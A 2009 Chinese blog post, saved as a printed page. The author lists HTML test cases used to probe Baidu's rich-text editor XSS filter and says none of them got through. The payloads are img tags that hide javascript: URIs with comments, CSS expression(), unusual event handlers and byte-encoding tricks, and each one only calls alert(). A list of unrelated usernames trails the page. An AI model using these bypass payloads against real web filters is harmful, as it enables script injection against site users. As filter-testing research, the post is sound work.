of Baidu Bugs - Day 0... 下一篇：需要明晰的一些概念 最近读者： 今天有朋友和我讨论了一下关于百度富文本编辑器 XSS Filter的问题，关于过滤规则可以看我之前在WoBB的终章里 总结的8条规则。 这里我可以把我测试XSS Filter的部分html发一下，希望能帮助到某些朋友。(当然我最终还是没绕过去) 如下： <img src="java/*/*javascript*/script/*javascript*/*/script:alert();" > <img src="java/*/*javascript*/java/*javascript*/script/*javascript*/*/script:alert();" > <img src="java/*java/*javascript*/1script*/script:alert();"> <img src="java/*script:alert();"><img src="javaa*/script:alert();"> <img src="java/*exp/**/script:alert();*/ression(alert(1))"> <img style="width: exp/*ression(alert());" src="java/*exp/**/script:alert();*/ression(alert(1))"> <!--[if IE]><![endif]--> <img src="java/*javascript*/script java\script:alert();"> <img src="java/*javascript*/1script/*><x src=javascript:alert();"> <img src="java/*java/*javascript*/1script*/script:alert();/*><x fvck=java/*style=\java*/script:alert();> <img src="java/*java/*<a fvck='java/*style=\java*/script:alert();'>*/1script*/script:alert();"> <img src="java/*java <a href='/*java/*style=\java*/script:alert();'>*/script:alert(); > " <img src=<java/*<<a>>*/scrip >> <a style="background-image: url(@import \' fvck\') " > <img onbeforeupdate="fvck" ondataavailable="fvck" onrowsdelete="fvck" onrowsinserted="fvck" /> <img src="java/*ssss%c1*/script:alert();*/"> <img src="java/*sssss%c1*/%c1/*script:alert();*/script:alert();"> <img src="java/*java <a href='java/*java/*style=%c1\java%c1*/script:alert();'>*/script:alert(); > "> <img src="javascript:alert();"> %ef');alert();( <img src="j%c1%26;javascript:alert();" > <img src="java/*xxxx%81*/script:alert();" > 测试百度XSS Filter的一些例子_大风起兮云飞扬 http://hi.baidu.com/aullik5/blog/item/58e03a00057fbf08... 第2页 共3页 2009-5-8 8:30
sachag
bermonpainter
pwiseman
portentint
csswizardry
tmiket
katiecoart
irinanazarova
destraynor
akademiya2063
3n
addyosmani
